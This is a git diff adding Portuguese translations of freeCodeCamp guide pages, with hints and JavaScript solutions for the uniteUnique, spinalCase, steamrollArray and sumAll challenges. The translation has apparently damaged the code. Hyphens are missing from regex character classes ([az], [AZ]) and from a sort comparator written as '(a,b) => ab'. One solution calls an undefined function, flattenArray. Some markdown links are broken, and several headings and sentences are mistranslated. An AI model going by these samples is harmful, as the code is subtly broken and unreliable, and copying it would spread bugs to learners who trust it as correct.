+    // Loops through the array at hand 
+    for (var j = 0; j < arrayArguments.length; j++) { 
+      var indexValue = arrayArguments[j]; 
+ 
+      // Checks if the value is already on the final array. 
+      if (finalArray.indexOf(indexValue) < 0) { 
+        finalArray.push(indexValue); 
+      } 
+    } 
+  } 
+ 
+  return finalArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnM/0)
+
+### Explicação do código:
+
+*   Crie array **final finalResult** para armazenar o resultado final.
+*   Faça um loop pelo objeto de **argumentos** no loop externo e armazene-o em **arrayArguments** .
+*   O loop interno é usado para percorrer os elementos individuais da matriz.
+*   Se o elemento ainda não existir no **finalArray** , adicione-o.
+*   Retornar **finalArray** .
+
+#### Links Relevantes
+
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [Índice de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## Solução alternativa de código básico
+
+```javascript
+function uniteUnique(arr) { 
+  var args = [...arguments]; 
+  var result = []; 
+  for(var i = 0; i < args.length; i++) { 
+    for(var j = 0; j < args[i].length; j++) { 
+       if(!result.includes(args[i][j])) { 
+        result.push(args[i][j]); 
+      } 
+    } 
+  } 
+  return result; 
+ } 
+ 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function uniteUnique(arr1, arr2, arr3) { 
+ var newArr; 
+ //Convert the arguments object into an array 
+  var args = Array.prototype.slice.call(arguments); 
+  //Use reduce function to flatten the array 
+  newArr = args.reduce(function(arrA,arrB){ 
+  //Apply filter to remove the duplicate elements in the array 
+    return arrA.concat(arrB.filter(function(i){ 
+      return arrA.indexOf(i) === -1; 
+    })); 
+  }); 
+ 
+   return newArr; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnO/0)
+
+### Explicação do código:
+
+*   objeto **argumentos** é convertido em um array usando `slice()` .
+*   `reduce()` função `reduce()` é usada para nivelar a matriz, ou seja, para cada elemento que está na matriz (ou matrizes aninhadas), extraia seus elementos em uma matriz unidimensional.
+*   Depois de achatar a matriz, `filter()` é usado para remover elementos duplicados de **newArr** .
+
+#### Links Relevantes
+
+*   [Fatia de Protótipo de Matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Protótipo JS Array Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Concat de Protótipo JS Array](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Filtro Protótipo JS Array](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function uniteUnique() { 
+  var concatArr = []; 
+  var i = 0; 
+  while (arguments[i]){ 
+    concatArr = concatArr.concat(arguments[i]); i++; 
+  } 
+  uniqueArray = concatArr.filter(function(item, pos) { 
+    return concatArr.indexOf(item) == pos; 
+  }); 
+  return uniqueArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnN/0)
+
+### Explicação do código:
+
+*   O número de argumentos pode mudar dinamicamente, portanto, não precisamos nos preocupar em fornecer nossa função `uniteUnique()` com argumentos.
+*   Nós usamos um `while` loop para concatenar todos os argumentos em um array chamado **concatArr.**
+*   Usamos `filter()` para remover os elementos duplicados, verificando o índice de cada elemento e removendo os mesmos elementos com diferentes posições.
+*   A encomenda será preservada aqui.
+
+#### Links Relevantes
+
+*   JS While Loop
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução alternativa de código usando o ES2015
+```
+//jshint esversion:6 
+ 
+ function uniteUnique(...arrays) { 
+ 
+  //make an array out of the given arrays and flatten it (using the spread operator) 
+  const flatArray = [].concat(...arrays); 
+ 
+  // create a Set which clears any duplicates since it's a regulat set and not a multiset 
+  return [...new Set(flatArray)]; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CcWk/0)
+
+### Explicação do código:
+
+*   Primeiro, usamos `concat()` com uma matriz vazia `<a href='http://exploringjs.com/es6/ch_maps-sets.html#_set' target='_blank' rel='nofollow'>]` como ponto de partida e o operador spread `...` para criar um array fora do objeto Arguments e achatá-lo ao mesmo tempo
+*   então usamos o novo objeto **Set** ES2015 para armazenar apenas valores exclusivos
+*   (para aprender mais sobre Sets, leia \[aqui\]
+
+#### Links Relevantes
+
+*   [Array.prototype.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Argumentos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+*   [Conjunto](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
new file mode 100644
index 0000000000..a71fe0b8bb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
@@ -0,0 +1,127 @@
+---
+title: Spinal Tap Case
+localeTitle: Estojo Spinal Tap
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Converta a string dada em uma sentença minúscula com palavras unidas por traços.
+
+#### Links Relevantes
+
+*   [Objeto global de string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   Recursos JS Regex
+*   [Substituição de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [Protótipo de Cadeia JS ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Crie uma expressão regular para todos os espaços em branco e sublinhados.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você também terá que fazer tudo em minúsculas.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+A parte complicada é fazer com que a parte da expressão regular funcione, depois de fazer isso, basta transformar a caixa alta em minúscula e substituir espaços com sublinhados usando `replace()` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function spinalCase(str) { 
+  // Create a variable for the white space and underscores. 
+  var regex = /\s+|_+/g; 
+ 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+ 
+  // Replace space and underscore with - 
+  return str.replace(regex, '-').toLowerCase(); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnS/0)
+
+### Explicação do código:
+
+*   **regex** contém a expressão regular `/\s+|_+/g` , que selecionará todos os espaços em branco e sublinhados.
+*   O primeiro `replace()` coloca um espaço antes de qualquer caractere maiúsculo encontrado na string **str, de** modo que os espaços possam ser substituídos por traços posteriores.
+*   Ao retornar a string, outro `replace()` substitui espaços e sublinhados por traços usando **regex** .
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function spinalCase(str) { 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+  // Split on whitespace and underscores and join with dash 
+  return str.toLowerCase().split(/(?:_| )+/) .join('-'); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnT/0)
+
+### Explicação do código:
+
+*   Semelhante à primeira solução, o primeiro `replace()` coloca um espaço antes de qualquer caractere maiúsculo encontrado na string **str, de** modo que os espaços possam ser substituídos por traços posteriores.
+*   Em vez de usar `replace()` aqui para substituir espaços em branco e sublinhados por traços, a string é `split()` na expressão regular `/(?:_| )+/` E `join()` -ed on `-` .
+
+#### Links Relevantes
+
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function spinalCase(str) { 
+  // "It's such a fine line between stupid, and clever." 
+  // --David St. Hubbins 
+ 
+  return str.split(/\s|_|(?=[AZ])/).join('-').toLowerCase() 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/EUZV)
+
+### Explicação do código:
+
+*   Divida a string em uma das seguintes condições ( _convertida em uma matriz_ )
+    *   um caractere de espaço em branco \[ `\s` \] é encontrado
+    *   caractere de sublinhado \[ `_` \] é encontrado
+    *   ou é seguido por uma letra maiúscula \[ `(?=[AZ])` \]
+*   Junte-se à matriz usando um hífen ( `-` )
+*   Minúscula toda a string resultante
+
+#### Links Relevantes
+
+*   [String # split](http://devdocs.io/javascript/global_objects/string/split)
+*   [RegExp](http://devdocs.io/javascript/global_objects/regexp)
+*   [Arringe # join](http://devdocs.io/javascript/global_objects/array/join)
+*   [Cadeia # toLowerCase](http://devdocs.io/javascript/global_objects/string/tolowercase)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
new file mode 100644
index 0000000000..d0d72225a4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
@@ -0,0 +1,138 @@
+---
+title: Steamroller
+localeTitle: Rolo compressor
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Esse problema parece simples, mas você precisa certificar-se de achatar qualquer array, independentemente do nível, que é o que adiciona um pouco de dificuldade ao problema.
+
+#### Links Relevantes
+
+*   [Array.isArray ()](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você precisa verificar se um elemento é uma matriz ou não.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Se você está lidando com uma matriz, então você precisa achatá-lo, obtendo o valor dentro da matriz. Isto significa que se você tem [\[4\]\] então ao invés de retornar \[4\] você precisa retornar 4. Se você pegar \[\[\[4\]\]\] então o mesmo, você quer o 4. Você pode acessá-lo com arr \[index1\] \[index2\] para ir um nível mais profundo.](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ":speech_balloon:")
+
+> _tente resolver o problema agora_
+
+## ! \[: speech\_balloon: Dica: 3
+
+Você definitivamente precisará de recursão ou outra maneira de ir além de dois arrays de nível para tornar o código flexível e não codificado para as respostas necessárias. Diverta-se!
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function steamrollArray(arr) { 
+  var flattenedArray = []; 
+ 
+  // Create function that adds an element if it is not an array. 
+  // If it is an array, then loops through it and uses recursion on that array. 
+  var flatten = function(arg) { 
+    if (!Array.isArray(arg)) { 
+      flattenedArray.push(arg); 
+    } else { 
+      for (var a in arg) { 
+        flatten(arg[a]); 
+      } 
+    } 
+  }; 
+ 
+  // Call the function for each element in the array 
+  arr.forEach(flatten); 
+  return flattenedArray; 
+ } 
+ 
+ // test here 
+ steamrollArray([1, [2], [3, [[4]]]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnh/0)
+
+### Explicação do código:
+
+*   Crie uma nova variável para manter matrizes achatadas.
+*   Crie uma função que adicione elementos não-array à nova variável e, para aqueles que são array, faça um loop através deles para obter o elemento.
+*   Ele faz isso usando recursão, se o elemento é uma matriz, em seguida, chame a função novamente com uma camada de matriz mais profunda para verificar se é uma matriz ou não. se não for, pressione esse elemento não-matriz para a variável que é retornada. Caso contrário, continue indo mais fundo.
+*   Invoque a função, a primeira vez que você sempre passará uma matriz para que ela sempre caia na ramificação isArray
+*   Devolva o array achatado.
+
+#### Links Relevantes
+
+*   [Array.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.forEach ()](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function steamrollArray(arr) { 
+  let flat = [].concat(...arr); 
+  return flat.some(Array.isArray) ? steamrollArray(flat) : flat; 
+ } 
+ 
+ flattenArray([1, [2], [3, [[4]]]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLni/0)
+
+### Explicação do código:
+
+*   Use o operador spread para concatenar cada elemento do `arr` com um array vazio
+*   Use o método `Array.some()` para descobrir se o novo array contém um array ainda
+*   Em caso afirmativo, use recursion call `steamrollArray` novamente, passando o novo array para repetir o processo nos arrays que foram profundamente aninhados
+*   Se isso não ocorrer, retorne a matriz nivelada
+
+#### Links Relevantes
+
+*   [Array.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+*   [Array.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Operador de spread](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [Operador Ternário ( `condition ? a : b` )](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function steamrollArray(arr) { 
+  return arr.toString() 
+    .replace(',,', ',')       // "1,2,,3" => "1,2,3" 
+    .split(',')               // ['1','2','3'] 
+    .map(function(v) { 
+      if (v == '[object Object]') { // bring back empty objects 
+        return {}; 
+      } else if (isNaN(v)) {        // if not a number (string) 
+        return v; 
+      } else { 
+        return parseInt(v);         // if a number in a string, convert it 
+      } 
+    }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CpDy/4)
+
+### Explicação do código:
+
+*   Primeiro, transformamos a matriz em uma string, que nos dará uma string de números separada por uma vírgula, dupla vírgula se houvesse uma matriz vazia e um texto de objeto literal, se houvesse um objeto, que poderíamos corrigi-lo posteriormente em nossa declaração if .
+*   Substituímos a vírgula dupla por uma e dividimos de volta em uma matriz.
+*   mapear através da matriz e fixar valores de objeto e converter números de string em números regulares.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
new file mode 100644
index 0000000000..c868f22971
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
@@ -0,0 +1,132 @@
+---
+title: Sum All Numbers in a Range
+localeTitle: Soma todos os números em um intervalo
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você precisa criar um programa que terá uma matriz de dois números que não estão necessariamente em ordem e, em seguida, adicione não apenas esses números, mas quaisquer números entre eles. Por exemplo, \[3,1\] será o mesmo que `1+2+3` e não apenas `3+1`
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use `Math.max()` para encontrar o valor máximo de dois números.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Use `Math.min()` para encontrar o valor mínimo de dois números.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Lembre-se de que você deve adicionar todos os números entre eles, o que exigiria uma maneira de obter esses números.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function sumAll(arr) { 
+    var max = Math.max(arr[0], arr[1]); 
+    var min = Math.min(arr[0], arr[1]); 
+    var temp = 0; 
+    for (var i=min; i <= max; i++){ 
+        temp += i; 
+    } 
+  return(temp); 
+ } 
+ 
+ sumAll([1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLm6/0)
+
+### Explicação do código:
+
+*   Primeiro crie uma variável para armazenar o número máximo entre dois.
+*   O mesmo que antes para o menor número.
+*   Criamos uma variável temporária para adicionar os números.
+
+Como os números podem não estar sempre em ordem, usar `max()` e `min()` ajudará a organizar.
+
+#### Links Relevantes
+
+*   [Math.max ()](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [Math.min ()](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   [For Loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function sumAll(arr) { 
+  // Buckle up everything to one! 
+ 
+  // Using ES6 arrow function (one-liner) 
+  var sortedArr = arr.sort((a,b) => ab); 
+  var firstNum = arr[0]; 
+  var lastNum = arr[1]; 
+  // Using Arithmetic Progression summing formula 
+ 
+  var sum = (lastNum - firstNum + 1) * (firstNum + lastNum) / 2; 
+  return sum; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLm7/0)
+
+### Explicação do código:
+
+*   Primeiramente, criamos uma variável chamada `sortedArr` que a classifica do menor para o maior valor.
+*   `firstNum` é igual ao primeiro número e `lastNum` é igual ao segundo número.
+*   Em seguida, usando a fórmula de soma de Progressão Aritmética, deixamos a `sum` igual `(lastNum - firstNum + 1) * (firstNum + lastNum) / 2` .
+*   Finalmente, retornamos a `sum` .
+
+A linha `var sortedArr = arr.sort((a,b) => ab);` é provavelmente o que te deixará mais confuso. Isso seria o mesmo que criar uma função que retorna `ab` para o `sort()` que é a maneira padrão de classificar os números do menor para o maior. Em vez disso, usando a função de seta ou seta de gordura, somos capazes de fazer tudo isso em uma única linha, permitindo-nos escrever menos.
+
+#### Links Relevantes
+
+*   [Array.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [Fórmula de soma de progressão aritmética](https://en.wikipedia.org/wiki/Arithmetic_progression#Sum)
+*   [Função de seta ES6](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function sumAll(arr) { 
+    var sum = 0; 
+    for (var i = Math.min(...arr); i <= Math.max(...arr); i++){ 
+        sum += i; 
+    } 
+  return sum; 
+ } 
+ 
+ sumAll([1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLm8/0)
+
+### Explicação do código:
+
+*   Criando uma soma variável para armazenar a soma dos elementos.
+*   Iniciando a iteração do loop a partir do elemento min do array dado e parando quando ele atinge o elemento max.
+*   Usar um operador de dispersão (… arr) permite passar a matriz real à função em vez de elementos um por um.
+
+#### Links Relevantes
+
+*   [Operador de spread](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [Usando o Operador de Spread em Math.max ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..4f91eca039
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
@@ -0,0 +1,124 @@
+---
+title: Sum All Odd Fibonacci Numbers
+localeTitle: Soma todos os números impares de Fibonacci
+---
